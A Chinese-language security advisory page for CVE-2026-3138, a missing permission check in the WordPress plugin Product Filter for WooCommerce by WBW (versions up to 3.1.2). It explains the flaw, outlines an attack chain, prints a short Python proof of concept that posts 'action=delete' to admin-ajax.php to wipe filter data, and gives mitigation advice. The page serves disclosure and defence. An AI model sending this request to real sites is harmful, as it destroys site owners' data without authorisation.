IPBUF安全漏洞报告
English
CVE-2026-3138 CVSS 6.5 中危

CVE-2026-3138: WooCommerce产品筛选插件数据丢失漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-3138
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Product Filter for WooCommerce by WBW

相关标签

权限绕过WordPressWooCommerce数据丢失CVE-2026-3138

漏洞概述

WordPress插件Product Filter for WooCommerce by WBW在3.1.2及之前版本存在安全漏洞。由于插件MVC框架在动态注册未认证AJAX处理程序时未检查用户权限,且基础控制器的权限验证逻辑默认返回true,导致未经身份验证的攻击者可发送特制请求截断数据库表,造成所有筛选配置永久丢失。

技术细节

该漏洞的核心在于插件MVC框架的权限验证机制存在缺陷。插件通过`wp_ajax_nopriv_`钩子动态注册了允许未认证用户访问的AJAX处理程序。当请求到达时,基础控制器的`__call()`魔术方法会将未定义的方法调用直接转发给模型层。关键问题在于`havePermissions()`方法,当模型中没有明确定义特定方法的权限要求时,该方法默认返回`true`。攻击者利用这一逻辑漏洞,向`/wp-admin/admin-ajax.php`发送包含`action=delete`的POST请求。由于未进行权限校验,系统将执行删除操作,直接清空`wp_wpf_filters`数据表,导致数据被永久破坏。

攻击链分析

STEP 1
侦察
攻击者识别目标网站安装了Product Filter for WooCommerce by WBW插件,且版本低于或等于3.1.2。
STEP 2
漏洞利用
攻击者向WordPress的admin-ajax.php端点发送特制的POST请求,参数中包含action=delete。
STEP 3
权限绕过
请求被wp_ajax_nopriv_钩子捕获,由于havePermissions()默认为true,系统未检查用户权限。
STEP 4
数据破坏
控制器的__call()方法将请求转发至模型层执行delete操作,导致wp_wpf_filters数据表被截断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Exploit Title: Product Filter for WooCommerce by WBW < 3.1.2 - Unauthenticated Data Loss # Date: 2026-03-24 # Vendor: WBW # Version: <= 3.1.2 import requests def exploit(target): url = f"{target}/wp-admin/admin-ajax.php" # The action parameter triggers the __call magic method pointing to 'delete' data = { "action": "delete" } try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent. Table wp_wpf_filters may be truncated.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_url = "http://example.com" exploit(target_url)

影响范围

Product Filter for WooCommerce by WBW <= 3.1.2

防御指南

临时缓解措施
建议立即将插件更新至最新版本以修复权限检查逻辑。若无法立即更新,应通过服务器配置限制未认证用户对WordPress AJAX接口的访问,或临时禁用该插件直至修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表